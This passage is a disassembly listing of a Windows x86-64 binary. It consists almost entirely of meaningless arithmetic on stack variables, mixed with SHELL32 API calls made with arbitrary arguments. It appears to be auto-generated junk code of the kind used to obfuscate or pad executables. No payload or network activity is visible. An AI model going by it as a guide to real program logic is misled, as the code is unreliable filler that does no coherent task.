mov ecx, dword [rsp + 0x6e08]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f14], eax
mov rax, qword [0x14019f2a0]
mov qword [rsp + 0xeb20], rax
mov rax, qword [rsp + 0x98a0]
mov rcx, qword [rsp + 0xd5a0]
mov qword [rsp + 0xeb28], rcx
movzx ecx, al
mov rax, qword [rsp + 0xeb28]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xd288], rax
movsx eax, word [rsp + 0x2808]
movsx ecx, word [rsp + 0x2c24]
shl eax, cl
mov word [0x14019f208], ax
movzx eax, word [rsp + 0xd8c]
movzx ecx, word [rsp + 0x2cec]
or eax, ecx
mov rcx, qword [rsp + 0xe318]
mov word [rcx], ax
movzx eax, byte [rsp + 0x50b]
mov rcx, qword [rsp + 0xe370]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4c], al
mov eax, dword [rsp + 0x6eb8]
imul eax, dword [rsp + 0x6f00]
mov rcx, qword [rsp + 0xdb30]
mov dword [rcx], eax
mov rax, qword [rsp + 0xe130]
mov qword [rsp + 0xeb30], rax
mov rax, qword [rsp + 0xeac8]
mov rcx, qword [rsp + 0xdef0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa5a0], rax
movsx eax, byte [rsp + 0x392]
movsx ecx, byte [rsp + 0x55b]
add eax, ecx
mov byte [rsp + 0x535], al
mov rax, qword [rsp + 0xdf20]
mov eax, dword [rax]
mov dword [rsp + 0x7048], eax
movsx eax, word [rsp + 0xc28]
mov rcx, qword [rsp + 0xdd10]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xdcf8]
mov word [rcx], ax
lea rax, [rsp + 0x2ed8]
mov qword [0x14019f468], rax
lea rax, [rsp + 0xd208]
mov qword [rsp + 0xeb38], rax
mov r8d, 0x3f
lea rdx, [rsp + 0xd168]
lea rcx, [rsp + 0x1e650]
call qword [sym.imp.SHELL32.dll_SHSetLocalizedName]
mov dword [rsp + 0x6fc8], eax
movzx eax, word [rsp + 0x2be8]
movzx ecx, word [rsp + 0x1804]
shl eax, cl
mov rcx, qword [rsp + 0xdf98]
mov word [rcx], ax
movsx eax, word [rsp + 0x2b94]
mov rcx, qword [0x14019f0c0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1fa8], ax
mov rax, qword [rsp + 0xe378]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb198]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd758], rax
xor edx, edx
mov eax, dword [rsp + 0x5b74]
mov rcx, qword [0x14019f158]
div dword [rcx]
mov dword [rsp + 0x6ea4], eax
mov rax, qword [rsp + 0xdbe0]
mov rax, qword [rax]
mov qword [rsp + 0xeb40], rax
mov rax, qword [rsp + 0xe500]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd970]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x546], al
movzx eax, word [rsp + 0x17c4]
mov rcx, qword [0x14019f330]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1214], ax
mov rax, qword [rsp + 0xd860]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdcb0]
sub rcx, rax
mov rax, rcx
mov qword [0x14019d218], rax
mov rax, qword [rsp + 0xd550]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd1a0]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xea38]
mov byte [rcx], al
mov rax, qword [rsp + 0xdbc8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6d90]
shl eax, cl
mov dword [rsp + 0x6fd8], eax
movzx eax, word [rsp + 0x2b0c]
mov word [rsp + 0x2ee4], ax
movzx eax, word [rsp + 0x2af4]
mov rcx, qword [rsp + 0xd8e8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xd8a0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x522]
mov byte [rsp + 0x585], al
mov rax, qword [rsp + 0xd110]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc4b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd788], rax
mov rax, qword [rsp + 0xd3d8]
mov eax, dword [rax]
imul eax, dword [rsp + 0x7018]
mov dword [rsp + 0x6f30], eax
movsx eax, word [rsp + 0x1af8]
movsx ecx, word [rsp + 0x2cdc]
add eax, ecx
mov word [rsp + 0xf80], ax
movzx eax, word [rsp + 0x2e1c]
movzx ecx, word [rsp + 0x1168]
add eax, ecx
mov word [0x14019d090], ax
mov rax, qword [0x14019f2b0]
mov rcx, qword [rsp + 0xd6f8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xe758], rax
mov rax, qword [rsp + 0xd890]
mov rax, qword [rax]
mov qword [rsp + 0xeb48], rax
mov rax, qword [rsp + 0xd790]
mov rcx, qword [rsp + 0xa538]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xe150], rax
movsx eax, word [0x14019d034]
mov rcx, qword [rsp + 0xd7b8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2284], ax
mov rax, qword [rsp + 0xd608]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd1e8]
mov qword [rsp + 0xeb50], rcx
movzx ecx, al
mov rax, qword [rsp + 0xeb50]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb2a0], rax
xor edx, edx
mov rax, qword [rsp + 0xcfb0]
mov eax, dword [rax]
div dword [rsp + 0x6098]
mov dword [rsp + 0x6d28], eax
movzx eax, byte [rsp + 0x77]
mov byte [rsp + 0x586], al
movzx eax, byte [rsp + 0x541]
mov rcx, qword [rsp + 0xea38]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x3dd], al
mov eax, dword [rsp + 0x6ef0]
mov dword [rsp + 0x704c], eax
movsx eax, word [rsp + 0x2794]
mov rcx, qword [rsp + 0xe968]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x14019d25c], ax
mov rax, qword [rsp + 0xda50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2d4c], ax
mov rax, qword [0x14019f060]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd630]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2cbc], ax
lea rax, [rsp + 0xa3d0]
mov qword [rsp + 0xeb58], rax
mov rax, qword [rsp + 0xe7f8]
mov rcx, qword [rsp + 0xe5a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc9b8], rax
mov rax, qword [rsp + 0xe6e8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14019f2bc]
shr eax, cl
mov dword [rsp + 0x5950], eax
movsx eax, byte [rsp + 0x1ae]
mov rcx, qword [rsp + 0xce70]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x26f], al
mov rax, qword [rsp + 0xdcf8]
movsx eax, word [rax]
mov rcx, qword [0x14019f028]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2a8c], ax
mov rax, qword [rsp + 0xd888]
movzx eax, word [rax]
mov word [rsp + 0x2ee8], ax
mov rax, qword [rsp + 0xd500]
mov rcx, qword [rsp + 0xeab0]
sub rcx, rax
mov rax, rcx
mov qword [0x14019f1d0], rax
movzx eax, word [0x14019f368]
movzx ecx, word [rsp + 0x2b04]
add eax, ecx
mov word [rsp + 0x2c18], ax
mov rax, qword [rsp + 0xdd90]
mov rcx, qword [rsp + 0xad88]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa1e8], rax
mov rax, qword [rsp + 0xd780]
mov rcx, qword [0x14019f268]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9100], rax
mov rax, qword [rsp + 0xe0a0]
mov rcx, qword [rsp + 0xe8a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5b50], eax
lea rax, [rsp + 0x555]
mov qword [rsp + 0xeb60], rax
mov rax, qword [rsp + 0xdd98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd0c0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x508], al
mov eax, dword [rsp + 0x63c8]
mov dword [rsp + 0x7050], eax
mov rax, qword [rsp + 0xdea8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe5b0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xd518], rax
movzx eax, word [rsp + 0x2ab4]
mov word [0x14019f470], ax
mov rax, qword [0x14019efb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2d84]
or eax, ecx
mov word [rsp + 0x1df0], ax
movzx eax, word [rsp + 0x2ba4]
movzx ecx, word [rsp + 0x2e64]
shl eax, cl
mov word [rsp + 0x2a94], ax
mov rax, qword [rsp + 0xd148]
movzx eax, word [rax]
mov rcx, qword [0x14019f3c8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xd8e8]
mov word [rcx], ax
mov rax, qword [rsp + 0xdd18]
mov qword [rsp + 0xeb68], rax
mov rax, qword [rsp + 0xda88]
mov ecx, dword [rsp + 0x5974]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6dfc], eax
movzx eax, byte [0x14019d011]
mov byte [rsp + 0x587], al
mov rax, qword [rsp + 0xd7b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe0e0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2e88], ax
lea r9, [rsp + 0xdc20]
lea r8, [rsp + 0xd668]
lea rdx, [rsp + 0xd1b8]
mov rcx, qword [rsp + 0xe6e0]
call qword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExA]
mov dword [rsp + 0x7054], eax
mov rax, qword [rsp + 0xdd28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2afc]
sar eax, cl
mov word [rsp + 0x2c64], ax
mov rax, qword [0x14019f048]
mov rcx, qword [rsp + 0xdac8]
mov rax, qword [rax]
or rax, rcx
mov qword [0x14019d260], rax
mov rax, qword [rsp + 0xe3a8]
mov rcx, qword [rsp + 0xd720]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9b98], rax
mov rax, qword [rsp + 0xddf8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xae98]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd998], rax
mov rax, qword [rsp + 0xcfe8]
mov qword [rsp + 0xeb70], rax
mov rax, qword [rsp + 0xd620]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd910]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2afc], ax
mov rax, qword [rsp + 0xe370]
movzx eax, byte [rax]
movzx ecx, byte [0x14019d010]
xor eax, ecx
mov rcx, qword [rsp + 0xd1a0]
mov byte [rcx], al
mov rax, qword [rsp + 0xe7b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6fa0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6288], eax
mov rax, qword [rsp + 0xe470]
mov rcx, qword [rsp + 0xe3d8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xccc8], rax
mov rax, qword [rsp + 0xdf20]
mov eax, dword [rax]
mov dword [rsp + 0x7058], eax
movsx eax, byte [rsp + 0x531]
movsx ecx, byte [rsp + 0x564]
sar eax, cl
mov byte [0x14019ef92], al
mov rax, qword [rsp + 0xe148]
movsx eax, word [rax]
movsx ecx, word [0x14019d1e8]
shl eax, cl
mov word [rsp + 0x2d7c], ax
mov rax, qword [rsp + 0xe348]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x196c]
sub eax, ecx
mov word [rsp + 0x1244], ax
mov rax, qword [rsp + 0xdca8]
movzx eax, word [rax]
mov word [rsp + 0x2eec], ax
mov rax, qword [rsp + 0xe868]
mov rcx, qword [0x14019d208]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xe3e0], rax
mov rax, qword [rsp + 0xe7d0]
mov rcx, qword [rsp + 0x9f68]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbb00], rax
movsx eax, byte [rsp + 0x520]
movsx ecx, byte [rsp + 0x55c]
sar eax, cl
mov byte [rsp + 0x4fb], al
mov eax, dword [rsp + 0x5a80]
mov dword [rsp + 0x705c], eax
movsx eax, word [rsp + 0x2a6c]
movsx ecx, word [rsp + 0x2bac]
or eax, ecx
mov word [rsp + 0x245c], ax
movzx eax, word [rsp + 0x2e5c]
movzx ecx, word [rsp + 0x2d50]
shl eax, cl
mov word [0x14019d158], ax
mov rax, qword [rsp + 0xdeb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbf38]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xe270], rax
mov rax, qword [rsp + 0xdf78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdb00]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc50], ax
movzx eax, byte [rsp + 0x481]
mov rcx, qword [rsp + 0xe440]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x4fe], al
mov eax, dword [rsp + 0x6c94]
mov dword [rsp + 0x7060], eax
xor edx, edx
mov rax, qword [rsp + 0xcfb0]
mov eax, dword [rax]
div dword [rsp + 0x6b68]
mov dword [rsp + 0x6df0], eax
mov rax, qword [rsp + 0xd4c8]
mov rcx, qword [rsp + 0xdad8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xde00], rax
lea rax, [rsp + 0x50e]
mov qword [rsp + 0xeb78], rax
movsx eax, word [rsp + 0x2ac0]
movsx ecx, word [rsp + 0x2da0]
shl eax, cl
mov word [rsp + 0x2e24], ax
movzx eax, word [0x14019f07c]
mov word [0x14019f474], ax
mov rax, qword [rsp + 0xe438]
mov qword [rsp + 0xeb80], rax
mov rax, qword [rsp + 0xcd20]
mov rcx, qword [rsp + 0xa538]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xe118], rax
movsx eax, word [0x14019f040]
mov rcx, qword [rsp + 0xdc40]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x13cc], ax
lea rax, [rsp + 0x2af4]
mov qword [rsp + 0xeb88], rax
mov rax, qword [rsp + 0xd338]
mov ecx, dword [rsp + 0x6e58]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7018], eax
mov rax, qword [0x14019f320]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x76]
add eax, ecx
mov byte [rsp + 0x466], al
mov rax, qword [rsp + 0xd1e8]
mov rcx, qword [rsp + 0xd390]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcb68], rax
mov rax, qword [rsp + 0xd860]
mov rax, qword [rax]
mov qword [rsp + 0xeb90], rax
lea rcx, [rsp + 0xdc20]
call qword [sym.imp.SHELL32.dll_SHGetInstanceExplorer]
mov dword [rsp + 0x6ff0], eax
movzx eax, word [rsp + 0x2acc]
mov word [0x14019f478], ax
movzx eax, word [rsp + 0x2604]
movzx ecx, word [rsp + 0x2728]
sub eax, ecx
mov rcx, qword [rsp + 0xdca8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x36f]
movzx ecx, byte [rsp + 0x4fc]
sar eax, cl
mov byte [rsp + 0x42], al
lea rax, [rsp + 0x6d58]
mov qword [rsp + 0xeb98], rax
mov rax, qword [rsp + 0xde88]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd5c8]
shl rax, cl
mov qword [rsp + 0xbcf8], rax
lea rax, [rsp + 0x6b68]
mov qword [rsp + 0xeba0], rax
mov rax, qword [rsp + 0xeb60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x55e]
or eax, ecx
mov rcx, qword [rsp + 0xeb18]
mov byte [rcx], al
mov rax, qword [rsp + 0xe5b0]
mov rcx, qword [rsp + 0xe128]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8fb0], rax
movsx eax, word [rsp + 0x1244]
movsx ecx, word [0x14019d1c0]
add eax, ecx
mov word [rsp + 0x23b0], ax
mov rax, qword [rsp + 0xe2b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd148]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14019d240], ax
mov rax, qword [rsp + 0xd478]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcac8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xe3e0], rax
mov rax, qword [rsp + 0xd160]
movzx eax, word [rax]
mov word [rsp + 0x2ef0], ax
movsx eax, word [rsp + 0x2c14]
mov rcx, qword [rsp + 0xdf90]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xe1b0]
mov word [rcx], ax
mov rax, qword [rsp + 0xd450]
mov rcx, qword [rsp + 0xdd68]
mov qword [rsp + 0xeba8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xeba8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xeb08], rax
mov eax, dword [0x14019f2cc]
mov dword [rsp + 0x7064], eax
mov rax, qword [rsp + 0xe9a0]
mov rcx, qword [rsp + 0xd9a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xc1a0], rax
movsx eax, byte [rsp + 0x158]
mov rcx, qword [rsp + 0xe328]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x2fb], al
mov rax, qword [rsp + 0xe930]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd8c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b98], ax
mov rax, qword [rsp + 0xea68]
mov rcx, qword [rsp + 0xddf8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x14019f2b0]
mov qword [rcx], rax
lea rax, [rsp + 0x6ed0]
mov qword [rsp + 0x20], rax
mov r9d, 0x4c
lea r8, [rsp + 0xe398]
lea rdx, [rsp + 0xce40]
mov rcx, qword [rsp + 0xce90]
call qword [sym.imp.SHELL32.dll_SHDoDragDrop]
mov dword [rsp + 0x6ed8], eax
mov rax, qword [rsp + 0xe760]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe820]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x51e], al
lea rax, [rsp + 0x6928]
mov qword [rsp + 0xebb0], rax
movsx eax, word [rsp + 0x2bc8]
mov rcx, qword [rsp + 0xe448]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2c30], ax
lea rax, [0x14019f1e0]
mov qword [rsp + 0xebb8], rax
mov rax, qword [rsp + 0xd4f0]
mov rcx, qword [rsp + 0xe128]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xbc48], rax
mov eax, dword [rsp + 0x6e18]
mov dword [rsp + 0x7068], eax
movsx eax, byte [rsp + 0x512]
movsx ecx, byte [rsp + 0x26c]
sar eax, cl
mov byte [rsp + 0xb5], al
mov rax, qword [rsp + 0xdb90]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2dfc]
shl eax, cl
mov word [rsp + 0x2e00], ax
mov rax, qword [rsp + 0xdf00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe730]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x14019d268], ax
lea rax, [rsp + 0xc3e8]
mov qword [rsp + 0xebc0], rax
mov rax, qword [rsp + 0xdda0]
mov rcx, qword [rsp + 0x8fa0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xe810], rax
mov rax, qword [0x14019f448]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe518]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbbc8], rax
mov r8d, 0xcd
lea rdx, [rsp + 0xd368]
lea rcx, [rsp + 0x22d40]
call qword [sym.imp.SHELL32.dll_SHSetLocalizedName]
mov dword [rsp + 0x706c], eax
mov rax, qword [rsp + 0xe448]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1390]
sar eax, cl
mov word [rsp + 0x252c], ax
movsx eax, byte [rsp + 0x344]
mov rcx, qword [rsp + 0xe140]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1e5], al
mov rax, qword [rsp + 0xd1c8]
mov rax, qword [rax]
mov qword [rsp + 0xebc8], rax
mov rax, qword [rsp + 0xddc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7014]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5a94], eax
mov eax, dword [rsp + 0x61f8]
mov ecx, dword [rsp + 0x6a8c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6980], eax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd9e0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xea38]
mov byte [rcx], al
movsx eax, word [rsp + 0x2e54]
movsx ecx, word [rsp + 0x28ac]
add eax, ecx
mov word [0x14019d068], ax
mov rax, qword [rsp + 0xe458]
movzx eax, word [rax]
movzx ecx, word [0x14019d1c4]
add eax, ecx
mov rcx, qword [rsp + 0xd8b0]
mov word [rcx], ax
lea rax, [rsp + 0x2bd4]
mov qword [rsp + 0xebd0], rax
mov rax, qword [rsp + 0xe9d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd250]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xe4d8]
mov qword [rcx], rax
mov rax, qword [0x14019efc8]
mov eax, dword [rax]
mov dword [rsp + 0x7070], eax
mov rax, qword [rsp + 0xeae8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd9f0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x53a], al
mov rax, qword [rsp + 0xe078]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd988]
shr rax, cl
mov qword [rsp + 0xd4b0], rax
lea rdx, [rsp + 0xcee8]
lea rcx, [rsp + 0x1fc60]
call qword [sym.imp.SHELL32.dll_ILSaveToStream]
mov dword [rsp + 0x6e60], eax
mov rax, qword [rsp + 0xdb68]
movzx eax, word [rax]
mov word [rsp + 0x2ef4], ax
movzx eax, word [rsp + 0x2bcc]
mov rcx, qword [rsp + 0xd8c8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x12e8], ax
mov rax, qword [rsp + 0xd288]
mov qword [0x14019f480], rax
mov rax, qword [rsp + 0xe730]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x26a8]
and eax, ecx
mov word [rsp + 0x1e94], ax
mov rax, qword [rsp + 0xdfa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa678]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xe8d8], rax
mov rax, qword [rsp + 0xd2a0]
mov rax, qword [rax]
mov qword [rsp + 0xebd8], rax
mov rax, qword [rsp + 0xe6e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5f6c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f50], eax
mov rax, qword [rsp + 0xe160]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe340]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x584], al
mov rax, qword [rsp + 0xd098]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6e3c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x64c8], eax
mov rax, qword [rsp + 0xe370]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x57b]
sar eax, cl
mov byte [rsp + 0x4c0], al
mov r9, qword [rsp + 0xd138]
mov r8, qword [rsp + 0xebe0]
mov rdx, qword [rsp + 0xd2b8]
mov rcx, qword [rsp + 0xce38]
call qword [sym.imp.SHELL32.dll_ShellAboutW]
mov dword [rsp + 0x6f70], eax
lea rax, [rsp + 0xe788]
mov qword [rsp + 0xebe8], rax
movsx eax, word [rsp + 0x2ac0]
movsx ecx, word [0x14019f338]
shl eax, cl
mov word [0x14019d26c], ax
movsx eax, word [rsp + 0x2a8c]
movsx ecx, word [rsp + 0x1910]
sub eax, ecx
mov word [rsp + 0x2dc4], ax
mov rax, qword [rsp + 0xdbd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2e5c]
add eax, ecx
mov word [rsp + 0x2c18], ax
mov rax, qword [rsp + 0xd700]
movzx eax, word [rax]
mov word [rsp + 0x2ef8], ax
mov eax, dword [rsp + 0x6ff8]
mov ecx, dword [rsp + 0x5e18]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xe1f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd730]
mov qword [rsp + 0xebf0], rax
mov rax, qword [rsp + 0xe500]
movsx eax, byte [rax]
movsx ecx, byte [0x14019d011]
add eax, ecx
mov byte [rsp + 0x2b9], al
movsx eax, word [rsp + 0x2b64]
movsx ecx, word [rsp + 0x2b50]
add eax, ecx
mov word [rsp + 0x2c00], ax
mov rax, qword [rsp + 0xd8b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe2a8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2444], ax
mov rax, qword [rsp + 0x9ee8]
mov rcx, qword [rsp + 0xcf48]
and rcx, rax
mov rax, rcx
mov qword [0x14019d228], rax
mov ecx, 0xa9
call qword [sym.imp.SHELL32.dll_SHChangeNotifyDeregister]
mov dword [rsp + 0x6bbc], eax
mov rax, qword [rsp + 0xe3f0]
mov rcx, qword [rsp + 0xce78]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xe778], rax
mov rax, qword [0x14019f3d0]
mov rax, qword [rax]
mov qword [rsp + 0xebf8], rax
mov rax, qword [rsp + 0xdeb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xeb38]
mov qword [rsp + 0xec00], rcx
movzx ecx, al
mov rax, qword [rsp + 0xec00]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xbf00], rax
movzx eax, word [rsp + 0x1cf4]
mov rcx, qword [rsp + 0xdf98]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xe90], ax
mov eax, dword [rsp + 0x6df4]
mov ecx, dword [rsp + 0x6100]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5850], eax
movzx eax, byte [rsp + 0x1d0]
mov rcx, qword [rsp + 0xdd98]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xe6d0]
mov byte [rcx], al
mov rax, qword [rsp + 0xce70]
movzx eax, byte [rax]
mov byte [rsp + 0x588], al
mov rax, qword [rsp + 0xc4d8]
mov rcx, qword [0x14019f010]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xeb40], rax
lea rax, [rsp + 0x6f14]
mov qword [0x14019f488], rax
movzx eax, word [rsp + 0x1010]
mov word [rsp + 0x2efc], ax
movsx eax, word [rsp + 0x2ee4]
mov rcx, qword [0x14019f0c0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x171c], ax
mov rax, qword [rsp + 0xe930]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd8a0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2cb8], ax
mov rax, qword [rsp + 0xda90]
mov rcx, qword [rsp + 0xe3a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x96c8], rax
mov eax, dword [rsp + 0x6db8]
mov ecx, dword [rsp + 0x6d2c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6e40], eax
mov rax, qword [rsp + 0xd608]
mov rax, qword [rax]
mov qword [rsp + 0xec08], rax
movsx eax, byte [rsp + 0x64]
mov rcx, qword [0x14019f340]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x149], al
mov rax, qword [rsp + 0xdd10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd420]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1910], ax
mov rax, qword [rsp + 0xd160]
movzx eax, word [rax]
mov word [0x14019f490], ax
mov rax, qword [rsp + 0xe778]
mov rcx, qword [rsp + 0xd780]
mov qword [rsp + 0xec10], rcx
movzx ecx, al
mov rax, qword [rsp + 0xec10]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb6b0], rax
mov rax, qword [rsp + 0xdb00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdf00]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1554], ax
mov rax, qword [rsp + 0xe198]
mov eax, dword [rax]
mov dword [rsp + 0x7074], eax
movzx eax, byte [rsp + 0x4e8]
mov rcx, qword [rsp + 0xe578]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x15a], al
mov rax, qword [rsp + 0xeae8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe1d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x564], al
mov rax, qword [rsp + 0xdbd8]
mov ecx, dword [rsp + 0x6f78]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x662c], eax
mov rax, qword [rsp + 0xe408]
mov rcx, qword [rsp + 0xd8e0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xe408]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd188]
movzx eax, word [rax]
mov word [rsp + 0x2f00], ax
movzx eax, word [rsp + 0xd0c]
mov rcx, qword [rsp + 0xebd0]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14019f0e4], ax
mov rax, qword [rsp + 0xd298]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe3f0]
